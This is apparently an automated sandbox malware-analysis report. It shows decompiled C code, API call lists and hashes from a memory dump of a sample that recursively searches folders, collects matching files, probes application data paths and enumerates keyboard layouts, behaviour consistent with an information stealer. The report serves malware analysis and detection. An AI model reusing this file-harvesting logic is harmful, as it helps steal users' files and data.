FindClose.KERNEL32(000000FF), ref: 00409B35

Strings

%s\*, xrefs: 0040997D

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*
API String ID: 180737720-766152087
Opcode ID: 734c64a85d57906b1b748223cc1d06140c3f58c7191ee16ecc15e59b37a13c5b
Instruction ID: f00fb7030c8b22b76076fdd7412de7885a7951318a5a6e6dd79535400c2c2ee4
Opcode Fuzzy Hash: 734c64a85d57906b1b748223cc1d06140c3f58c7191ee16ecc15e59b37a13c5b
Instruction Fuzzy Hash: 544167B2510218ABCB10DFA0DD48EEB77B8BF4C705F04859AB20992151E778EB94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00401280(intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				void* _t43;
				intOrPtr _t66;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t99 = _t98 + 0xc;
				_t43 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t43;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L11;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_push( &(_v596.cFileName));
							_push(_a8);
							wsprintfA( &_v1124, "%s\%s");
							_t100 = _t99 + 0x10;
							_push(0x41401a);
							_push(_a4);
							if( *0x41aa4c() != 0) {
								_push( &(_v596.cFileName));
								_push(_a4);
								wsprintfA( &_v860, "%s\%s");
								_t101 = _t100 + 0x10;
							} else {
								wsprintfA( &_v860, 0x414024,  &(_v596.cFileName));
								_t101 = _t100 + 0xc;
							}
							if(PathMatchSpecA( &(_v596.cFileName), _a12) != 0) {
								E0040B720( &_v1652, 0x104);
								E0040B720( &_v1388, 0x104);
								 *0x41aa24( &_v1652, _a8);
								 *0x41aa24( &_v1652, 0x414018);
								 *0x41aa24( &_v1652,  &(_v596.cFileName));
								_t66 =  *0x41a5a4; // 0x486db0
								 *0x41aa24( &_v1388, _t66);
								 *0x41aa24( &_v1388,  &_v860);
								E004137C0(_a16,  &_v1388,  &_v1652);
								_t101 = _t101 + 0xc;
							}
							E00401280( &_v860,  &_v1124, _a12, _a16);
							_t99 = _t101 + 0x10;
							goto L11;
						}
						goto L4;
						L11:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t43;
			}

0x0040128c
0x00401299
0x0040129f
0x004012b0
0x004012b6
0x004012c3
0x004012ca
0x004012ca
0x004012d5
0x004012de
0x004012f6
0x00000000
0x004012f6
0x004012e0
0x004012eb
0x004012f4
0x00401301
0x00401305
0x00401312
0x00401318
0x0040131b
0x00401323
0x0040132c
0x00401352
0x00401356
0x00401363
0x00401369
0x0040132e
0x00401341
0x00401347
0x00401347
0x0040137f
0x00401391
0x004013a2
0x004013b2
0x004013c4
0x004013d8
0x004013de
0x004013eb
0x004013ff
0x00401417
0x0040141c
0x0040141c
0x00401435
0x0040143a
0x00000000
0x0040143a
0x00000000
0x0040143d
0x00401451
0x00000000
0x00401460
0x00000000

APIs

wsprintfA.USER32 ref: 00401299
FindFirstFileA.KERNEL32(?,?), ref: 004012B0
StrCmpCA.SHLWAPI(?,00414010), ref: 004012D6
StrCmpCA.SHLWAPI(?,00414014), ref: 004012EC
FindNextFileA.KERNEL32(000000FF,?), ref: 0040144B
FindClose.KERNEL32(000000FF), ref: 00401460

Strings

%s\%s, xrefs: 00401306, 00401357
%s\*, xrefs: 0040128D

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: e7e049ac183daff24cf1457c11bcf60006c11a17e1d64c44e4fef2ff410f95e1
Instruction ID: 4cd9f1fc2f596726c4666f8bf9c741da0555b1e74a9e6087d7d803036aaf4599
Opcode Fuzzy Hash: e7e049ac183daff24cf1457c11bcf60006c11a17e1d64c44e4fef2ff410f95e1
Instruction Fuzzy Hash: 56518672500218ABCB10DFA0DD48EEA73B8BF4C705F0485A9B609A3150E779EB94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00586090, Relevance: 30.2, APIs: 20, Instructions: 215filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005860AD
FindFirstFileA.KERNEL32(?,?), ref: 005860C4
lstrcat.KERNEL32(?,?), ref: 005860EC
StrCmpCA.SHLWAPI(?,00414010), ref: 0058610C
StrCmpCA.SHLWAPI(?,00414014), ref: 00586122
FindNextFileA.KERNEL32(000000FF,?), ref: 00586361
FindClose.KERNEL32(000000FF), ref: 00586376

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID:
API String ID: 1125553467-0
Opcode ID: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction ID: faf638ab70da85515b99eaae86485eb22ff787a638a4b1bb65cccf23b499c06c
Opcode Fuzzy Hash: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction Fuzzy Hash: BF8172B6900208EFCF10DFA4DC49DEA77B8BF88741F448AD8F60AA6141E7749A94CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00589BC0, Relevance: 28.6, APIs: 19, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00589BD9
FindFirstFileA.KERNEL32(?,?), ref: 00589BF0
StrCmpCA.SHLWAPI(?,00414010), ref: 00589C16
StrCmpCA.SHLWAPI(?,00414014), ref: 00589C2C
FindNextFileA.KERNEL32(000000FF,?), ref: 00589D70
FindClose.KERNEL32(000000FF), ref: 00589D85

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction ID: a5be5822015b98e71bbb39a4a7707b915e3c5119318da6272624991fa3180926
Opcode Fuzzy Hash: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction Fuzzy Hash: 194155B2510218ABCB20EFA0DD48EEA77B8BF4C705F048599B605A2050E779EB94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004096E0, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 213
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004096E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				void* _t76;
				signed int _t77;
				int _t79;
				signed int _t81;
				intOrPtr _t84;
				signed int _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t122;
				intOrPtr _t146;
				void* _t166;
				void* _t167;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t167 = _t166 + 0xc;
				_t76 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t76;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L19;
					}
					_t81 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t167 = _t167 + 0x10;
						_t84 =  *0x41a4cc; // 0x487c30
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t84, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t122 =  *0x41a030; // 0x4886f8
							_t86 =  *0x41aa4c( &(_v596.cFileName), _t122);
							__eflags = _t86;
							if(_t86 != 0) {
								_t146 =  *0x41a7e4; // 0x487cd8
								_t88 =  *0x41aa4c( &(_v596.cFileName), _t146);
								__eflags = _t88;
								if(_t88 != 0) {
									_t89 =  *0x41a0d4; // 0x487bb8
									_t90 =  *0x41aa4c( &(_v596.cFileName), _t89);
									__eflags = _t90;
									if(_t90 != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
											_t167 = _t167 + 0x1c;
										}
									} else {
										__eflags = _a28;
										if(__eflags != 0) {
											E00409590(_a4, __eflags,  &_v860, _a4, _a12, _a16);
											_t167 = _t167 + 0x10;
										}
										E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
										_t167 = _t167 + 0x1c;
									}
								} else {
									_push(_a16);
									E00409060(_a4, _a4, _a12, _a8);
									E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
									_t167 = _t167 + 0x2c;
								}
							} else {
								__eflags = _a24;
								if(__eflags != 0) {
									E00409400(_a12, __eflags,  &_v860, _a4, _a12, _a16);
									_t167 = _t167 + 0x10;
								}
								E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
								_t167 = _t167 + 0x1c;
							}
						} else {
							E00408C00(_a4, __eflags,  &_v860, _a4, _a12, _a16);
							E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
							_t167 = _t167 + 0x2c;
						}
						goto L19;
					}
					goto L4;
					L19:
					_t79 = FindNextFileA(_v272,  &_v596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v272);
			}

0x004096ec
0x004096f9
0x004096ff
0x00409710
0x00409716
0x00409723
0x00000000
0x00000000
0x00000000
0x00000000
0x0040972a
0x0040972a
0x00409736
0x0040973c
0x0040973e
0x00409756
0x00000000
0x00409756
0x0040974c
0x00409752
0x00409754
0x00409772
0x00409778
0x0040977b
0x0040978e
0x00409790
0x004097dc
0x004097ea
0x004097f0
0x004097f2
0x00409844
0x00409852
0x00409858
0x0040985a
0x004098a3
0x004098b0
0x004098b6
0x004098b8
0x0040990d
0x00409910
0x00409934
0x00409939
0x00409939
0x004098ba
0x004098ba
0x004098be
0x004098d3
0x004098d8
0x004098d8
0x004098fd
0x00409902
0x00409902
0x0040985c
0x0040985f
0x0040986c
0x00409896
0x0040989b
0x0040989b
0x004097f4
0x004097f4
0x004097f8
0x0040980d
0x00409812
0x00409812
0x00409837
0x0040983c
0x0040983c
0x00409792
0x004097a5
0x004097cf
0x004097d4
0x004097d4
0x00000000
0x00409790
0x00000000
0x0040993c
0x0040994a
0x00409950
0x00409950
0x00000000

APIs

wsprintfA.USER32 ref: 004096F9
FindFirstFileA.KERNEL32(?,?), ref: 00409710
StrCmpCA.SHLWAPI(?,00414010), ref: 00409736
StrCmpCA.SHLWAPI(?,00414014), ref: 0040974C
FindNextFileA.KERNEL32(000000FF,?), ref: 0040994A
FindClose.KERNEL32(000000FF), ref: 0040995F

Strings

%s\%s, xrefs: 00409766
%s\*, xrefs: 004096ED
0|H, xrefs: 0040977B

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*$0|H
API String ID: 180737720-4278639896
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 1519fd6f9f5c0b483e7b6c5176f88e596ecfd98fd3e89c67d3b1837449ae925a
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: FE810EB2510109ABCB14DF99DC84EEB73BDAF8C700F04855DBA09A3251E638EE55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409B40, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 183
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409B40(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				char _v1916;
				char _v2180;
				void* _t57;
				CHAR* _t64;
				CHAR* _t66;
				void* _t78;
				void* _t80;
				void* _t82;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t121;
				CHAR* _t122;
				void* _t135;
				void* _t136;
				void* _t143;
				void* _t144;

				wsprintfA( &_v268, "%s\\*.*", _a12);
				_t136 = _t135 + 0xc;
				_t57 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t57;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L12;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_t64 =  *0x41a39c; // 0x489a60
							wsprintfA( &_v1124, _t64, _a12,  &(_v596.cFileName), _a4);
							_t66 =  *0x41a6d4; // 0x488c88
							wsprintfA( &_v1652, _t66,  &_v1124);
							_t121 =  *0x41a59c; // 0x489a90
							wsprintfA( &_v1388, _t121, _a12,  &(_v596.cFileName), _a4);
							_t122 =  *0x41a6d4; // 0x488c88
							wsprintfA( &_v2180, _t122,  &_v1388);
							_t106 =  *0x41a1d8; // 0x470928
							wsprintfA( &_v1916, _t106, _a12,  &(_v596.cFileName), _a4);
							_t107 =  *0x41a6d4; // 0x488c88
							wsprintfA( &_v860, _t107,  &_v1916);
							_t78 = E0040BB70( &_v1652);
							_t143 = _t136 + 0x64;
							if(_t78 != 0) {
								E00409970( &_v1124, _a8, _a16,  &(_v596.cFileName), _a20);
								_t143 = _t143 + 0x14;
							}
							_t80 = E0040BB70( &_v2180);
							_t144 = _t143 + 4;
							if(_t80 != 0) {
								E00409970( &_v1388, _a8, _a16,  &(_v596.cFileName), _a20);
								_t144 = _t144 + 0x14;
							}
							_t82 = E0040BB70( &_v860);
							_t136 = _t144 + 4;
							if(_t82 != 0) {
								E00409970( &_v1916, _a8, _a16,  &(_v596.cFileName), _a20);
								_t136 = _t136 + 0x14;
							}
							E0040B720( &_v1124, 0x104);
							E0040B720( &_v1652, 0x104);
							E0040B720( &_v1388, 0x104);
							E0040B720( &_v2180, 0x104);
							E0040B720( &_v1916, 0x104);
							E0040B720( &_v860, 0x104);
							goto L12;
						}
						goto L4;
						L12:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t57;
			}

0x00409b59
0x00409b5f
0x00409b70
0x00409b76
0x00409b83
0x00409b8a
0x00409b8a
0x00409b95
0x00409b9e
0x00409bb6
0x00000000
0x00409bb6
0x00409ba0
0x00409bab
0x00409bb4
0x00409bca
0x00409bd7
0x00409be7
0x00409bf4
0x00409c0c
0x00409c1a
0x00409c2a
0x00409c38
0x00409c50
0x00409c5e
0x00409c6e
0x00409c7c
0x00409c8c
0x00409c91
0x00409c96
0x00409cb2
0x00409cb7
0x00409cb7
0x00409cc1
0x00409cc6
0x00409ccb
0x00409ce7
0x00409cec
0x00409cec
0x00409cf6
0x00409cfb
0x00409d00
0x00409d1c
0x00409d21
0x00409d21
0x00409d30
0x00409d41
0x00409d52
0x00409d63
0x00409d74
0x00409d85
0x00000000
0x00409d85
0x00000000
0x00409d8a
0x00409d9e
0x00000000
0x00409dad
0x00000000

APIs

wsprintfA.USER32 ref: 00409B59
FindFirstFileA.KERNEL32(?,?), ref: 00409B70
StrCmpCA.SHLWAPI(?,00414010), ref: 00409B96
StrCmpCA.SHLWAPI(?,00414014), ref: 00409BAC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409D98
FindClose.KERNEL32(000000FF), ref: 00409DAD

Strings

%s\*.*, xrefs: 00409B4D
(G, xrefs: 00409C50

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*$(G
API String ID: 180737720-2084031489
Opcode ID: b607c1fd9eac3f833b4c94cd1af109a731fa148ea0424aa6dae12a0857b5d36f
Instruction ID: 40ddeea6463e79618606ce93b98e9b87413dcbde514457397972783d08c0d7b9
Opcode Fuzzy Hash: b607c1fd9eac3f833b4c94cd1af109a731fa148ea0424aa6dae12a0857b5d36f
Instruction Fuzzy Hash: F4618DB2900108ABC714EFA4DC85EDB73BCBF48700F0485A9F60993151DB75EA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401090, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040109D
wsprintfA.USER32 ref: 004010B7
FindFirstFileA.KERNEL32(?,?), ref: 004010CE
StrCmpCA.SHLWAPI(?,00414010), ref: 004010F4
StrCmpCA.SHLWAPI(?,00414014), ref: 0040110A
FindNextFileA.KERNEL32(000000FF,?), ref: 004011D3
FindClose.KERNEL32(000000FF), ref: 004011E8

Strings

%s\%s, xrefs: 004010AB

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s
API String ID: 2809309208-4073750446
Opcode ID: 03d746769d9b30542cf8e99257cf41fb81c9296faffebdb575020e86f2632162
Instruction ID: 7ffd25992613dc01ae9c6896dea76ef306beac36bf0277a1da173af701ae58c0
Opcode Fuzzy Hash: 03d746769d9b30542cf8e99257cf41fb81c9296faffebdb575020e86f2632162
Instruction Fuzzy Hash: C63177B6500218ABCB14DFE0DD88EEA77BCAF4C705F0085AAB609A2150DB78D794CF59

Uniqueness

Uniqueness Score: -1.00%

Function 005814D0, Relevance: 24.1, APIs: 16, Instructions: 134fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005814E9
FindFirstFileA.KERNEL32(?,?), ref: 00581500
StrCmpCA.SHLWAPI(?,00414010), ref: 00581526
StrCmpCA.SHLWAPI(?,00414014), ref: 0058153C
FindNextFileA.KERNEL32(000000FF,?), ref: 0058169B
FindClose.KERNEL32(000000FF), ref: 005816B0

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction ID: f0e1f2cfe5372dad55efbae3d06eeb956936ff02ede1ad76d3f1846e86c0ed66
Opcode Fuzzy Hash: 712d8f00420b4f24734ea6e850c51c9534c6fb7a651bca6c9d3a2b61a6e8218a
Instruction Fuzzy Hash: 48517772500618ABCB10EFA1DD48EEA77BCBF8C704F048599B609A3050E775EB95CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00589D90, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00589DA9
FindFirstFileA.KERNEL32(?,?), ref: 00589DC0
StrCmpCA.SHLWAPI(?,00414010), ref: 00589DE6
StrCmpCA.SHLWAPI(?,00414014), ref: 00589DFC
FindNextFileA.KERNEL32(000000FF,?), ref: 00589FE8
FindClose.KERNEL32(000000FF), ref: 00589FFD

Strings

(G, xrefs: 00589EA0, 00589EA6

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: (G
API String ID: 180737720-4033192240
Opcode ID: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction ID: 1dae2b32df92275e01d822e110578eb7fd63b85ac929423ac0bae82380f6b0f5
Opcode Fuzzy Hash: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction Fuzzy Hash: C7618DB2900109ABCB14EFA4DC85EEB77BCBF88700F048599F60993151E775EA94CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00589930, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 213fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00589949
FindFirstFileA.KERNEL32(?,?), ref: 00589960
StrCmpCA.SHLWAPI(?,00414010), ref: 00589986
StrCmpCA.SHLWAPI(?,00414014), ref: 0058999C
FindNextFileA.KERNEL32(000000FF,?), ref: 00589B9A
FindClose.KERNEL32(000000FF), ref: 00589BAF

Strings

0|H, xrefs: 005899CB, 005899D0

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: 0|H
API String ID: 180737720-547865562
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: dad6b138cceabcaead9cc50eeb4e852b0d829663193653e4ce47314f98838936
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: F18100B6500109ABCB14EF94DC85EFB77BDBF8C700F088599BA09A3151D634EA54CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 005812E0, Relevance: 19.6, APIs: 13, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 005812ED
wsprintfA.USER32 ref: 00581307
FindFirstFileA.KERNEL32(?,?), ref: 0058131E
StrCmpCA.SHLWAPI(?,00414010), ref: 00581344
StrCmpCA.SHLWAPI(?,00414014), ref: 0058135A
FindNextFileA.KERNEL32(000000FF,?), ref: 00581423
FindClose.KERNEL32(000000FF), ref: 00581438

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID:
API String ID: 2809309208-0
Opcode ID: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction ID: 88587074abac64e82570a04d6c614034d26be9a070d28415654041deb0358d26
Opcode Fuzzy Hash: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction Fuzzy Hash: 3A3173B650061CABCB10EFA0DD88EEA77BCBF4C705F008699B609A2450DB74DB95CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE00, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AE00() {
				void* _v8;
				void _v524;
				int _v528;
				int _v532;
				void* _v536;
				signed int _v540;
				void* _t63;

				_v536 = RtlAllocateHeap(GetProcessHeap(), 0, 0x1f4);
				_v528 = 0;
				_v8 = 0;
				_v532 = GetKeyboardLayoutList(0, 0);
				_v8 = LocalAlloc(0x40, _v532 << 2);
				_v532 = GetKeyboardLayoutList(_v532, _v8);
				_v540 = 0;
				while(_v540 < _v532) {
					GetLocaleInfoA( *(_v8 + _v540 * 4) & 0x0000ffff, 2,  &_v524, 0x200);
					if(_v528 == 0) {
						wsprintfA(_v536, 0x414024,  &_v524);
						_t63 = _t63 + 0xc;
					} else {
						wsprintfA(_v536, "%s / %s", _v536,  &_v524);
						_t63 = _t63 + 0x10;
					}
					_v528 = _v528 + 1;
					memset( &_v524, 0, 0x200);
					_v540 = _v540 + 1;
				}
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				return _v536;
			}

0x0040ae1d
0x0040ae23
0x0040ae2d
0x0040ae3e
0x0040ae56
0x0040ae6a
0x0040ae70
0x0040ae8b
0x0040aeb9
0x0040aec6
0x0040af00
0x0040af06
0x0040aec8
0x0040aee2
0x0040aee8
0x0040aee8
0x0040af12
0x0040af26
0x0040ae85
0x0040ae85
0x0040af35
0x0040af3b
0x0040af3b
0x0040af4a

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
wsprintfA.USER32 ref: 0040AEE2
wsprintfA.USER32 ref: 0040AF00
memset.NTDLL ref: 0040AF26
LocalFree.KERNEL32(00000000), ref: 0040AF3B

Strings

%s / %s, xrefs: 0040AED6

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID: %s / %s
API String ID: 1833916909-2910687431
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: eeb2f0a0621c424ab69100cade097cc135afe8712b6e6ced773cd8003e1ddd0d
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: 48317CB098121CEBDB60DB54CD8DBE9B7B4FB54300F1086E5E509A6291C7745ED0CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0058B050, Relevance: 15.1, APIs: 10, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0058B060
RtlAllocateHeap.NTDLL(00000000), ref: 0058B067
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0058B088
LocalAlloc.KERNEL32(00000040,?), ref: 0058B0A0
GetKeyboardLayoutList.USER32(?,00000000), ref: 0058B0B4
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0058B109
wsprintfA.USER32 ref: 0058B132
wsprintfA.USER32 ref: 0058B150
memset.NTDLL ref: 0058B176
LocalFree.KERNEL32(00000000), ref: 0058B18B

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID:
API String ID: 1833916909-0
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: 8ae7091ce3257af0daa2d5ec07bd7583c1b928c4c37c3ec75318a1ff0358f024
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: 52315AB0A8121CEBEB60DB94CD8DBEAB7B8FB44300F1086D5E519A6291CB745ED0CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00407470, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407470(void* __ecx, char* _a4, void** _a8, char _a12) {
				int _v8;

				_v8 = 0;
				 *_a8 = 0;
				_t3 =  &_a12; // 0x407726
				 *( *_t3) = 0;
				_t4 =  &_a12; // 0x407726
